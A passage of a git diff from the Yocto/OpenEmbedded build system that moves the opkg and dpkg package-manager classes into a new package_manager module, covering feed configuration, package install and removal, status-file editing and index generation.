- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
- cmd = [tar_cmd, 'xf', data_tar]
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- bb.utils.remove(tmp_dir, recurse=True)
- bb.fatal("Unable to extract %s package. Command '%s' "
- "returned %d:\n%s" % (pkg_path, ' '.join(cmd), e.returncode, e.output.decode("utf-8")))
- except OSError as e:
- bb.utils.remove(tmp_dir, recurse=True)
- bb.fatal("Unable to extract %s package. Command '%s' "
- "returned %d:\n%s at %s" % (pkg_path, ' '.join(cmd), e.errno, e.strerror, e.filename))
-
- bb.note("Extracted %s to %s" % (pkg_path, tmp_dir))
- bb.utils.remove(os.path.join(tmp_dir, "debian-binary"))
- bb.utils.remove(os.path.join(tmp_dir, "control.tar.gz"))
- os.chdir(current_dir)
-
- return tmp_dir
-
- def _handle_intercept_failure(self, registered_pkgs):
- self.mark_packages("unpacked", registered_pkgs.split())
-
-class OpkgPM(OpkgDpkgPM):
- def __init__(self, d, target_rootfs, config_file, archs, task_name='target', ipk_repo_workdir="oe-rootfs-repo", filterbydependencies=True, prepare_index=True):
- super(OpkgPM, self).__init__(d, target_rootfs)
-
- self.config_file = config_file
- self.pkg_archs = archs
- self.task_name = task_name
-
- self.deploy_dir = oe.path.join(self.d.getVar('WORKDIR'), ipk_repo_workdir)
- self.deploy_lock_file = os.path.join(self.deploy_dir, "deploy.lock")
- self.opkg_cmd = bb.utils.which(os.getenv('PATH'), "opkg")
- self.opkg_args = "--volatile-cache -f %s -t %s -o %s " % (self.config_file, self.d.expand('${T}/ipktemp/') ,target_rootfs)
- self.opkg_args += self.d.getVar("OPKG_ARGS")
-
- if prepare_index:
- create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_IPK"), "package_write_ipk", filterbydependencies)
-
- opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
- if opkg_lib_dir[0] == "/":
- opkg_lib_dir = opkg_lib_dir[1:]
-
- self.opkg_dir = os.path.join(target_rootfs, opkg_lib_dir, "opkg")
-
- bb.utils.mkdirhier(self.opkg_dir)
-
- self.saved_opkg_dir = self.d.expand('${T}/saved/%s' % self.task_name)
- if not os.path.exists(self.d.expand('${T}/saved')):
- bb.utils.mkdirhier(self.d.expand('${T}/saved'))
-
- self.from_feeds = (self.d.getVar('BUILD_IMAGES_FROM_FEEDS') or "") == "1"
- if self.from_feeds:
- self._create_custom_config()
- else:
- self._create_config()
-
- self.indexer = OpkgIndexer(self.d, self.deploy_dir)
-
- def mark_packages(self, status_tag, packages=None):
- """
- This function will change a package's status in /var/lib/opkg/status file.
- If 'packages' is None then the new_status will be applied to all
- packages
- """
- status_file = os.path.join(self.opkg_dir, "status")
-
- with open(status_file, "r") as sf:
- with open(status_file + ".tmp", "w+") as tmp_sf:
- if packages is None:
- tmp_sf.write(re.sub(r"Package: (.*?)\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)",
- r"Package: \1\n\2Status: \3%s" % status_tag,
- sf.read()))
- else:
- if type(packages).__name__ != "list":
- raise TypeError("'packages' should be a list object")
-
- status = sf.read()
- for pkg in packages:
- status = re.sub(r"Package: %s\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)" % pkg,
- r"Package: %s\n\1Status: \2%s" % (pkg, status_tag),
- status)
-
- tmp_sf.write(status)
-
- os.rename(status_file + ".tmp", status_file)
-
- def _create_custom_config(self):
- bb.note("Building from feeds activated!")
-
- with open(self.config_file, "w+") as config_file:
- priority = 1
- for arch in self.pkg_archs.split():
- config_file.write("arch %s %d\n" % (arch, priority))
- priority += 5
-
- for line in (self.d.getVar('IPK_FEED_URIS') or "").split():
- feed_match = re.match(r"^[ \t]*(.*)##([^ \t]*)[ \t]*$", line)
-
- if feed_match is not None:
- feed_name = feed_match.group(1)
- feed_uri = feed_match.group(2)
-
- bb.note("Add %s feed with URL %s" % (feed_name, feed_uri))
-
- config_file.write("src/gz %s %s\n" % (feed_name, feed_uri))
-
- """
- Allow to use package deploy directory contents as quick devel-testing
- feed. This creates individual feed configs for each arch subdir of those
- specified as compatible for the current machine.
- NOTE: Development-helper feature, NOT a full-fledged feed.
- """
- if (self.d.getVar('FEED_DEPLOYDIR_BASE_URI') or "") != "":
- for arch in self.pkg_archs.split():
- cfg_file_name = os.path.join(self.target_rootfs,
- self.d.getVar("sysconfdir"),
- "opkg",
- "local-%s-feed.conf" % arch)
-
- with open(cfg_file_name, "w+") as cfg_file:
- cfg_file.write("src/gz local-%s %s/%s" %
- (arch,
- self.d.getVar('FEED_DEPLOYDIR_BASE_URI'),
- arch))
-
- if self.d.getVar('OPKGLIBDIR') != '/var/lib':
- # There is no command line option for this anymore, we need to add
- # info_dir and status_file to config file, if OPKGLIBDIR doesn't have
- # the default value of "/var/lib" as defined in opkg:
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_LISTS_DIR VARDIR "/lib/opkg/lists"
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_INFO_DIR VARDIR "/lib/opkg/info"
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_STATUS_FILE VARDIR "/lib/opkg/status"
- cfg_file.write("option info_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'info'))
- cfg_file.write("option lists_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'lists'))
- cfg_file.write("option status_file %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'status'))
-
-
- def _create_config(self):
- with open(self.config_file, "w+") as config_file:
- priority = 1
- for arch in self.pkg_archs.split():
- config_file.write("arch %s %d\n" % (arch, priority))
- priority += 5
-
- config_file.write("src oe file:%s\n" % self.deploy_dir)
-
- for arch in self.pkg_archs.split():
- pkgs_dir = os.path.join(self.deploy_dir, arch)
- if os.path.isdir(pkgs_dir):
- config_file.write("src oe-%s file:%s\n" %
- (arch, pkgs_dir))
-
- if self.d.getVar('OPKGLIBDIR') != '/var/lib':
- # There is no command line option for this anymore, we need to add
- # info_dir and status_file to config file, if OPKGLIBDIR doesn't have
- # the default value of "/var/lib" as defined in opkg:
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_LISTS_DIR VARDIR "/lib/opkg/lists"
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_INFO_DIR VARDIR "/lib/opkg/info"
- # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_STATUS_FILE VARDIR "/lib/opkg/status"
- config_file.write("option info_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'info'))
- config_file.write("option lists_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'lists'))
- config_file.write("option status_file %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'status'))
-
- def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
- if feed_uris == "":
- return
-
- rootfs_config = os.path.join('%s/etc/opkg/base-feeds.conf'
- % self.target_rootfs)
-
- os.makedirs('%s/etc/opkg' % self.target_rootfs, exist_ok=True)
-
- feed_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
- archs = self.pkg_archs.split() if feed_archs is None else feed_archs.split()
-
- with open(rootfs_config, "w+") as config_file:
- uri_iterator = 0
- for uri in feed_uris:
- if archs:
- for arch in archs:
- if (feed_archs is None) and (not os.path.exists(oe.path.join(self.deploy_dir, arch))):
- continue
- bb.note('Adding opkg feed url-%s-%d (%s)' %
- (arch, uri_iterator, uri))
- config_file.write("src/gz uri-%s-%d %s/%s\n" %
- (arch, uri_iterator, uri, arch))
- else:
- bb.note('Adding opkg feed url-%d (%s)' %
- (uri_iterator, uri))
- config_file.write("src/gz uri-%d %s\n" %
- (uri_iterator, uri))
-
- uri_iterator += 1
-
- def update(self):
- self.deploy_dir_lock()
-
- cmd = "%s %s update" % (self.opkg_cmd, self.opkg_args)
-
- try:
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- self.deploy_dir_unlock()
- bb.fatal("Unable to update the package index files. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
-
- self.deploy_dir_unlock()
-
- def install(self, pkgs, attempt_only=False):
- if not pkgs:
- return
-
- cmd = "%s %s" % (self.opkg_cmd, self.opkg_args)
- for exclude in (self.d.getVar("PACKAGE_EXCLUDE") or "").split():
- cmd += " --add-exclude %s" % exclude
- for bad_recommendation in (self.d.getVar("BAD_RECOMMENDATIONS") or "").split():
- cmd += " --add-ignore-recommends %s" % bad_recommendation
- cmd += " install "
- cmd += " ".join(pkgs)
-
- os.environ['D'] = self.target_rootfs
- os.environ['OFFLINE_ROOT'] = self.target_rootfs
- os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['INTERCEPT_DIR'] = self.intercepts_dir
- os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
-
- try:
- bb.note("Installing the following packages: %s" % ' '.join(pkgs))
- bb.note(cmd)
- output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT).decode("utf-8")
- bb.note(output)
- failed_pkgs = []
- for line in output.split('\n'):
- if line.endswith("configuration required on target."):
- bb.warn(line)
- failed_pkgs.append(line.split(".")[0])
- if failed_pkgs:
- failed_postinsts_abort(failed_pkgs, self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
- except subprocess.CalledProcessError as e:
- (bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
- "Command '%s' returned %d:\n%s" %
- (cmd, e.returncode, e.output.decode("utf-8")))
-
- def remove(self, pkgs, with_dependencies=True):
- if not pkgs:
- return
-
- if with_dependencies:
- cmd = "%s %s --force-remove --force-removal-of-dependent-packages remove %s" % \
- (self.opkg_cmd, self.opkg_args, ' '.join(pkgs))
- else:
- cmd = "%s %s --force-depends remove %s" % \
- (self.opkg_cmd, self.opkg_args, ' '.join(pkgs))
-
- try:
- bb.note(cmd)
- output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT).decode("utf-8")
- bb.note(output)
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to remove packages. Command '%s' "
- "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
-
- def write_index(self):
- self.deploy_dir_lock()
-
- result = self.indexer.write_index()
-
- self.deploy_dir_unlock()
-
- if result is not None:
- bb.fatal(result)
-
- def remove_packaging_data(self):
- bb.utils.remove(self.opkg_dir, True)
- # create the directory back, it's needed by PM lock
- bb.utils.mkdirhier(self.opkg_dir)
-
- def remove_lists(self):
- if not self.from_feeds:
- bb.utils.remove(os.path.join(self.opkg_dir, "lists"), True)
-
- def list_installed(self):
- return OpkgPkgsList(self.d, self.target_rootfs, self.config_file).list_pkgs()
-
- def dummy_install(self, pkgs):
- """
- The following function dummy installs pkgs and returns the log of output.
- """
- if len(pkgs) == 0:
- return
-
- # Create an temp dir as opkg root for dummy installation
- temp_rootfs = self.d.expand('${T}/opkg')
- opkg_lib_dir = self.d.getVar('OPKGLIBDIR')
- if opkg_lib_dir[0] == "/":
- opkg_lib_dir = opkg_lib_dir[1:]
- temp_opkg_dir = os.path.join(temp_rootfs, opkg_lib_dir, 'opkg')
- bb.utils.mkdirhier(temp_opkg_dir)
-
- opkg_args = "-f %s -o %s " % (self.config_file, temp_rootfs)
- opkg_args += self.d.getVar("OPKG_ARGS")
-
- cmd = "%s %s update" % (self.opkg_cmd, opkg_args)
- try:
- subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to update. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
-
- # Dummy installation
- cmd = "%s %s --noaction install %s " % (self.opkg_cmd,
- opkg_args,
- ' '.join(pkgs))
- try:
- output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to dummy install packages. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
-
- bb.utils.remove(temp_rootfs, True)
-
- return output
-
- def backup_packaging_data(self):
- # Save the opkglib for increment ipk image generation
- if os.path.exists(self.saved_opkg_dir):
- bb.utils.remove(self.saved_opkg_dir, True)
- shutil.copytree(self.opkg_dir,
- self.saved_opkg_dir,
- symlinks=True)
-
- def recover_packaging_data(self):
- # Move the opkglib back
- if os.path.exists(self.saved_opkg_dir):
- if os.path.exists(self.opkg_dir):
- bb.utils.remove(self.opkg_dir, True)
-
- bb.note('Recover packaging data')
- shutil.copytree(self.saved_opkg_dir,
- self.opkg_dir,
- symlinks=True)
-
- def package_info(self, pkg):
- """
- Returns a dictionary with the package info.
- """
- cmd = "%s %s info %s" % (self.opkg_cmd, self.opkg_args, pkg)
- pkg_info = super(OpkgPM, self).package_info(pkg, cmd)
-
- pkg_arch = pkg_info[pkg]["arch"]
- pkg_filename = pkg_info[pkg]["filename"]
- pkg_info[pkg]["filepath"] = \
- os.path.join(self.deploy_dir, pkg_arch, pkg_filename)
-
- return pkg_info
-
- def extract(self, pkg):
- """
- Returns the path to a tmpdir where resides the contents of a package.
-
- Deleting the tmpdir is responsability of the caller.
- """
- pkg_info = self.package_info(pkg)
- if not pkg_info:
- bb.fatal("Unable to get information for package '%s' while "
- "trying to extract the package." % pkg)
-
- tmp_dir = super(OpkgPM, self).extract(pkg, pkg_info)
- bb.utils.remove(os.path.join(tmp_dir, "data.tar.xz"))
-
- return tmp_dir
-
-class DpkgPM(OpkgDpkgPM):
- def __init__(self, d, target_rootfs, archs, base_archs, apt_conf_dir=None, deb_repo_workdir="oe-rootfs-repo", filterbydependencies=True):
- super(DpkgPM, self).__init__(d, target_rootfs)
- self.deploy_dir = oe.path.join(self.d.getVar('WORKDIR'), deb_repo_workdir)
-
- create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_DEB"), "package_write_deb", filterbydependencies)
-
- if apt_conf_dir is None:
- self.apt_conf_dir = self.d.expand("${APTCONF_TARGET}/apt")
- else:
- self.apt_conf_dir = apt_conf_dir
- self.apt_conf_file = os.path.join(self.apt_conf_dir, "apt.conf")
- self.apt_get_cmd = bb.utils.which(os.getenv('PATH'), "apt-get")
- self.apt_cache_cmd = bb.utils.which(os.getenv('PATH'), "apt-cache")
-
- self.apt_args = d.getVar("APT_ARGS")
-
- self.all_arch_list = archs.split()
- all_mlb_pkg_arch_list = (self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS') or "").split()
- self.all_arch_list.extend(arch for arch in all_mlb_pkg_arch_list if arch not in self.all_arch_list)
-
- self._create_configs(archs, base_archs)
-
- self.indexer = DpkgIndexer(self.d, self.deploy_dir)
-
- def mark_packages(self, status_tag, packages=None):
- """
- This function will change a package's status in /var/lib/dpkg/status file.
- If 'packages' is None then the new_status will be applied to all
- packages
- """
- status_file = self.target_rootfs + "/var/lib/dpkg/status"
-
- with open(status_file, "r") as sf:
- with open(status_file + ".tmp", "w+") as tmp_sf:
- if packages is None:
- tmp_sf.write(re.sub(r"Package: (.*?)\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)",
- r"Package: \1\n\2Status: \3%s" % status_tag,
- sf.read()))
- else:
- if type(packages).__name__ != "list":
- raise TypeError("'packages' should be a list object")
-
- status = sf.read()
- for pkg in packages:
- status = re.sub(r"Package: %s\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)" % pkg,
- r"Package: %s\n\1Status: \2%s" % (pkg, status_tag),
- status)
-
- tmp_sf.write(status)
-
- os.rename(status_file + ".tmp", status_file)
-
- def run_pre_post_installs(self, package_name=None):
- """
- Run the pre/post installs for package "package_name". If package_name is
- None, then run all pre/post install scriptlets.
- """
- info_dir = self.target_rootfs + "/var/lib/dpkg/info"
- ControlScript = collections.namedtuple("ControlScript", ["suffix", "name", "argument"])
- control_scripts = [
- ControlScript(".preinst", "Preinstall", "install"),
- ControlScript(".postinst", "Postinstall", "configure")]
- status_file = self.target_rootfs + "/var/lib/dpkg/status"
- installed_pkgs = []
-
- with open(status_file, "r") as status:
- for line in status.read().split('\n'):
- m = re.match(r"^Package: (.*)", line)
- if m is not None:
- installed_pkgs.append(m.group(1))
-
- if package_name is not None and not package_name in installed_pkgs:
- return
-
- os.environ['D'] = self.target_rootfs
- os.environ['OFFLINE_ROOT'] = self.target_rootfs
- os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
- os.environ['INTERCEPT_DIR'] = self.intercepts_dir
- os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
-
- for pkg_name in installed_pkgs:
- for control_script in control_scripts:
- p_full = os.path.join(info_dir, pkg_name + control_script.suffix)
- if os.path.exists(p_full):
- try:
- bb.note("Executing %s for package: %s ..." %
- (control_script.name.lower(), pkg_name))
- output = subprocess.check_output([p_full, control_script.argument],
- stderr=subprocess.STDOUT).decode("utf-8")
- bb.note(output)
- except subprocess.CalledProcessError as e:
- bb.warn("%s for package %s failed with %d:\n%s" %
- (control_script.name, pkg_name, e.returncode,
- e.output.decode("utf-8")))
- failed_postinsts_abort([pkg_name], self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
-
- def update(self):
- os.environ['APT_CONFIG'] = self.apt_conf_file
-
- self.deploy_dir_lock()
-
- cmd = "%s update" % self.apt_get_cmd
-
- try:
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to update the package index files. Command '%s' "
- "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
-
- self.deploy_dir_unlock()
-
- def install(self, pkgs, attempt_only=False):
- if attempt_only and len(pkgs) == 0:
- return
-
- os.environ['APT_CONFIG'] = self.apt_conf_file
-
- cmd = "%s %s install --force-yes --allow-unauthenticated %s" % \
- (self.apt_get_cmd, self.apt_args, ' '.join(pkgs))
-
- try:
- bb.note("Installing the following packages: %s" % ' '.join(pkgs))
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- (bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
- "Command '%s' returned %d:\n%s" %
- (cmd, e.returncode, e.output.decode("utf-8")))
-
- # rename *.dpkg-new files/dirs
- for root, dirs, files in os.walk(self.target_rootfs):
- for dir in dirs:
- new_dir = re.sub(r"\.dpkg-new", "", dir)
- if dir != new_dir:
- os.rename(os.path.join(root, dir),
- os.path.join(root, new_dir))
-
- for file in files:
- new_file = re.sub(r"\.dpkg-new", "", file)
- if file != new_file:
- os.rename(os.path.join(root, file),
- os.path.join(root, new_file))
-
-
- def remove(self, pkgs, with_dependencies=True):
- if not pkgs:
- return
-
- if with_dependencies:
- os.environ['APT_CONFIG'] = self.apt_conf_file
- cmd = "%s purge %s" % (self.apt_get_cmd, ' '.join(pkgs))
- else:
- cmd = "%s --admindir=%s/var/lib/dpkg --instdir=%s" \
- " -P --force-depends %s" % \
- (bb.utils.which(os.getenv('PATH'), "dpkg"),
- self.target_rootfs, self.target_rootfs, ' '.join(pkgs))
-
- try:
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- bb.fatal("Unable to remove packages. Command '%s' "
- "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
-
- def write_index(self):
- self.deploy_dir_lock()
-
- result = self.indexer.write_index()
-
- self.deploy_dir_unlock()
-
- if result is not None:
- bb.fatal(result)
-
- def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
- if feed_uris == "":
- return
-
- sources_conf = os.path.join("%s/etc/apt/sources.list"
- % self.target_rootfs)
- arch_list = []
-
- if feed_archs is None:
- for arch in self.all_arch_list:
- if not os.path.exists(os.path.join(self.deploy_dir, arch)):
- continue
- arch_list.append(arch)
- else:
- arch_list = feed_archs.split()
-
- feed_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
-
- with open(sources_conf, "w+") as sources_file:
- for uri in feed_uris:
- if arch_list:
- for arch in arch_list:
- bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s/%s ./\n" %
- (uri, arch))
- else:
- bb.note('Adding dpkg channel at (%s)' % uri)
- sources_file.write("deb %s ./\n" % uri)
-
- def _create_configs(self, archs, base_archs):
- base_archs = re.sub(r"_", r"-", base_archs)
-
- if os.path.exists(self.apt_conf_dir):
- bb.utils.remove(self.apt_conf_dir, True)
-
- bb.utils.mkdirhier(self.apt_conf_dir)
- bb.utils.mkdirhier(self.apt_conf_dir + "/lists/partial/")
- bb.utils.mkdirhier(self.apt_conf_dir + "/apt.conf.d/")
- bb.utils.mkdirhier(self.apt_conf_dir + "/preferences.d/")
-
- arch_list = []
- for arch in self.all_arch_list:
- if not os.path.exists(os.path.join(self.deploy_dir, arch)):
- continue
- arch_list.append(arch)
-
- with open(os.path.join(self.apt_conf_dir, "preferences"), "w+") as prefs_file:
- priority = 801
- for arch in arch_list:
- prefs_file.write(
- "Package: *\n"
- "Pin: release l=%s\n"
- "Pin-Priority: %d\n\n" % (arch, priority))
-
- priority += 5
-
- pkg_exclude = self.d.getVar('PACKAGE_EXCLUDE') or ""
- for pkg in pkg_exclude.split():
- prefs_file.write(
- "Package: %s\n"
- "Pin: release *\n"
- "Pin-Priority: -1\n\n" % pkg)
-
- arch_list.reverse()
-
- with open(os.path.join(self.apt_conf_dir, "sources.list"), "w+") as sources_file:
- for arch in arch_list:
- sources_file.write("deb file:%s/ ./\n" %
- os.path.join(self.deploy_dir, arch))
-
- base_arch_list = base_archs.split()
- multilib_variants = self.d.getVar("MULTILIB_VARIANTS");
- for variant in multilib_variants.split():
- localdata = bb.data.createCopy(self.d)
- variant_tune = localdata.getVar("DEFAULTTUNE_virtclass-multilib-" + variant, False)
- orig_arch = localdata.getVar("DPKG_ARCH")
- localdata.setVar("DEFAULTTUNE", variant_tune)
- variant_arch = localdata.getVar("DPKG_ARCH")
- if variant_arch not in base_arch_list:
- base_arch_list.append(variant_arch)
-
- with open(self.apt_conf_file, "w+") as apt_conf:
- with open(self.d.expand("${STAGING_ETCDIR_NATIVE}/apt/apt.conf.sample")) as apt_conf_sample:
- for line in apt_conf_sample.read().split("\n"):
- match_arch = re.match(r" Architecture \".*\";$", line)
- architectures = ""
- if match_arch:
- for base_arch in base_arch_list:
- architectures += "\"%s\";" % base_arch
- apt_conf.write(" Architectures {%s};\n" % architectures);
- apt_conf.write(" Architecture \"%s\";\n" % base_archs)
- else:
- line = re.sub(r"#ROOTFS#", self.target_rootfs, line)
- line = re.sub(r"#APTCONF#", self.apt_conf_dir, line)
- apt_conf.write(line + "\n")
-
- target_dpkg_dir = "%s/var/lib/dpkg" % self.target_rootfs
- bb.utils.mkdirhier(os.path.join(target_dpkg_dir, "info"))
-
- bb.utils.mkdirhier(os.path.join(target_dpkg_dir, "updates"))
-
- if not os.path.exists(os.path.join(target_dpkg_dir, "status")):
- open(os.path.join(target_dpkg_dir, "status"), "w+").close()
- if not os.path.exists(os.path.join(target_dpkg_dir, "available")):
- open(os.path.join(target_dpkg_dir, "available"), "w+").close()
-
- def remove_packaging_data(self):
- bb.utils.remove(os.path.join(self.target_rootfs,
- self.d.getVar('opkglibdir')), True)
- bb.utils.remove(self.target_rootfs + "/var/lib/dpkg/", True)
-
- def fix_broken_dependencies(self):
- os.environ['APT_CONFIG'] = self.apt_conf_file
-
- cmd = "%s %s -f install" % (self.apt_get_cmd, self.apt_args)
-
- try:
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
- except subprocess.CalledProcessError as e:
- bb.fatal("Cannot fix broken dependencies. Command '%s' "
- "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
-
- def list_installed(self):
- return DpkgPkgsList(self.d, self.target_rootfs).list_pkgs()
-
- def package_info(self, pkg):
- """
- Returns a dictionary with the package info.
- """
- cmd = "%s show %s" % (self.apt_cache_cmd, pkg)
- pkg_info = super(DpkgPM, self).package_info(pkg, cmd)
-
- pkg_arch = pkg_info[pkg]["pkgarch"]
- pkg_filename = pkg_info[pkg]["filename"]
- pkg_info[pkg]["filepath"] = \
- os.path.join(self.deploy_dir, pkg_arch, pkg_filename)
-
- return pkg_info
-
- def extract(self, pkg):
- """
- Returns the path to a tmpdir where resides the contents of a package.
-
- Deleting the tmpdir is responsability of the caller.
- """
- pkg_info = self.package_info(pkg)
- if not pkg_info:
- bb.fatal("Unable to get information for package '%s' while "
- "trying to extract the package." % pkg)
-
- tmp_dir = super(DpkgPM, self).extract(pkg, pkg_info)
- bb.utils.remove(os.path.join(tmp_dir, "data.tar.xz"))
-
- return tmp_dir
-
-def generate_index_files(d):
- classes = d.getVar('PACKAGE_CLASSES').replace("package_", "").split()
-
- indexer_map = {
- "rpm": (RpmSubdirIndexer, d.getVar('DEPLOY_DIR_RPM')),
- "ipk": (OpkgIndexer, d.getVar('DEPLOY_DIR_IPK')),
- "deb": (DpkgIndexer, d.getVar('DEPLOY_DIR_DEB'))
- }
-
- result = None
-
- for pkg_class in classes:
- if not pkg_class in indexer_map:
- continue
-
- if os.path.exists(indexer_map[pkg_class][1]):
- result = indexer_map[pkg_class][0](d, indexer_map[pkg_class][1]).write_index()
-
- if result is not None:
- bb.fatal(result)
diff --git a/meta/lib/oe/package_manager/__init__.py b/meta/lib/oe/package_manager/__init__.py
new file mode 100644
index 0000000000..80bc1a6bc6
--- /dev/null
+++ b/meta/lib/oe/package_manager/__init__.py
@@ -0,0 +1,556 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from abc import ABCMeta, abstractmethod
+import os
+import glob
+import subprocess
+import shutil
+import re
+import collections
+import bb
+import tempfile
+import oe.utils
+import oe.path
+import string
+from oe.gpg_sign import get_signer
+import hashlib
+import fnmatch
+
+# this can be used by all PM backends to create the index files in parallel
+def create_index(arg):
+ index_cmd = arg
+
+ bb.note("Executing '%s' ..." % index_cmd)
+ result = subprocess.check_output(index_cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
+ if result:
+ bb.note(result)
+
+def opkg_query(cmd_output):
+ """
+ This method parse the output from the package managerand return
+ a dictionary with the information of the packages. This is used
+ when the packages are in deb or ipk format.
+ """
+ verregex = re.compile(r' \([=<>]* [^ )]*\)')
+ output = dict()
+ pkg = ""
+ arch = ""
+ ver = ""
+ filename = ""
+ dep = []
+ prov = []
+ pkgarch = ""
+ for line in cmd_output.splitlines()+['']:
+ line = line.rstrip()
+ if ':' in line:
+ if line.startswith("Package: "):
+ pkg = line.split(": ")[1]
+ elif line.startswith("Architecture: "):
+ arch = line.split(": ")[1]
+ elif line.startswith("Version: "):
+ ver = line.split(": ")[1]
+ elif line.startswith("File: ") or line.startswith("Filename:"):
+ filename = line.split(": ")[1]
+ if "/" in filename:
+ filename = os.path.basename(filename)
+ elif line.startswith("Depends: "):
+ depends = verregex.sub('', line.split(": ")[1])
+ for depend in depends.split(", "):
+ dep.append(depend)
+ elif line.startswith("Recommends: "):
+ recommends = verregex.sub('', line.split(": ")[1])
+ for recommend in recommends.split(", "):
+ dep.append("%s [REC]" % recommend)
+ elif line.startswith("PackageArch: "):
+ pkgarch = line.split(": ")[1]
+ elif line.startswith("Provides: "):
+ provides = verregex.sub('', line.split(": ")[1])
+ for provide in provides.split(", "):
+ prov.append(provide)
+
+ # When there is a blank line save the package information
+ elif not line:
+ # IPK doesn't include the filename
+ if not filename:
+ filename = "%s_%s_%s.ipk" % (pkg, ver, arch)
+ if pkg:
+ output[pkg] = {"arch":arch, "ver":ver,
+ "filename":filename, "deps": dep, "pkgarch":pkgarch, "provs": prov}
+ pkg = ""
+ arch = ""
+ ver = ""
+ filename = ""
+ dep = []
+ prov = []
+ pkgarch = ""
+
+ return output
+
+def failed_postinsts_abort(pkgs, log_path):
+ bb.fatal("""Postinstall scriptlets of %s have failed. If the intention is to defer them to first boot,
+then please place them into pkg_postinst_ontarget:${PN} ().
+Deferring to first boot via 'exit 1' is no longer supported.
+Details of the failure are in %s.""" %(pkgs, log_path))
+
+def generate_locale_archive(d, rootfs, target_arch, localedir):
+ # Pretty sure we don't need this for locale archive generation but
+ # keeping it to be safe...
+ locale_arch_options = { \
+ "arc": ["--uint32-align=4", "--little-endian"],
+ "arceb": ["--uint32-align=4", "--big-endian"],
+ "arm": ["--uint32-align=4", "--little-endian"],
+ "armeb": ["--uint32-align=4", "--big-endian"],
+ "aarch64": ["--uint32-align=4", "--little-endian"],
+ "aarch64_be": ["--uint32-align=4", "--big-endian"],
+ "sh4": ["--uint32-align=4", "--big-endian"],
+ "powerpc": ["--uint32-align=4", "--big-endian"],
+ "powerpc64": ["--uint32-align=4", "--big-endian"],
+ "powerpc64le": ["--uint32-align=4", "--little-endian"],
+ "mips": ["--uint32-align=4", "--big-endian"],
+ "mipsisa32r6": ["--uint32-align=4", "--big-endian"],
+ "mips64": ["--uint32-align=4", "--big-endian"],
+ "mipsisa64r6": ["--uint32-align=4", "--big-endian"],
+ "mipsel": ["--uint32-align=4", "--little-endian"],
+ "mipsisa32r6el": ["--uint32-align=4", "--little-endian"],
+ "mips64el": ["--uint32-align=4", "--little-endian"],
+ "mipsisa64r6el": ["--uint32-align=4", "--little-endian"],
+ "riscv64": ["--uint32-align=4", "--little-endian"],
+ "riscv32": ["--uint32-align=4", "--little-endian"],
+ "i586": ["--uint32-align=4", "--little-endian"],
+ "i686": ["--uint32-align=4", "--little-endian"],
